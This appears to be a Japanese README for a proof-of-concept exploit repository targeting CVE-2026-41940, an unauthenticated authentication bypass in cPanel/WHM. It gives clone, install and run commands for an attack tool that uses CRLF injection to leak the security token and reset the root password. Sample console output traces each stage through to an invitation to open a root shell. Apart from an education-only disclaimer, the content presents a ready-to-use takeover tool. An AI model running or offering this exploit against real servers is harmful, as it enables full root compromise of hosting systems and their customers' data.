
CVE-2026-41940の概念実証エクスプロイト。CRLFインジェクションを使用してセキュリティトークンを漏えいさせ、rootパスワードをリセットする、cPanel/WHMにおける未認証の認証バイパスです。
CVE-2026-41940 は、cPanel/WHM を標的とした概念実証(PoC)エクスプロイトです。
このエクスプロイトは、CRLFインジェクションを利用してセキュリティトークンを漏洩させ、WHMインターフェースへのルートレベルのアクセスを取得する認証不要の認証バイパスを実証します。これにより、ルートパスワードの変更などの操作が可能になります。
免責事項: このPoCは教育目的のみです。許可なくシステムに対して使用しないでください。
cp_security_token を漏洩させます。requests ライブラリで動作します。git clone https://github.com/Rosemary1337/CVE-2026-41940.git
cd CVE-2026-41940
pip install requests
要件:
requests、urllib3
python3 CVE_2026_41940.py --target <TARGET_URL> --password <NEW_PASSWORD>
python3 CVE_2026_41940.py --target https://target.com:2087 --password MyNewRootPass123!
コンソールには以下が表示されます:
[0-4][+][!][*]例:
[0] hostname = target.local
[1] minting a preauth session...
session base = :XLNfFj4XjKuS4f9V
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
HTTP 307, leaked token = /cpsess0555762073
[3] firing do_token_denied to propagate raw -> cache...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.110.0.12"}
[*] changing the root password
passwd -> HTTP 200
[+] now just login to https://target.com:2087 and use the terminal option to get a root shell
| フラグ | 説明 | 必須 | デフォルト |
|---|
--target | WHMターゲットURL(例: https://host:2087) | はい | - |
--password | rootユーザーの新しいパスワード | はい | - |
--hostname | Host: ヘッダーの上書き | いいえ | 自動 |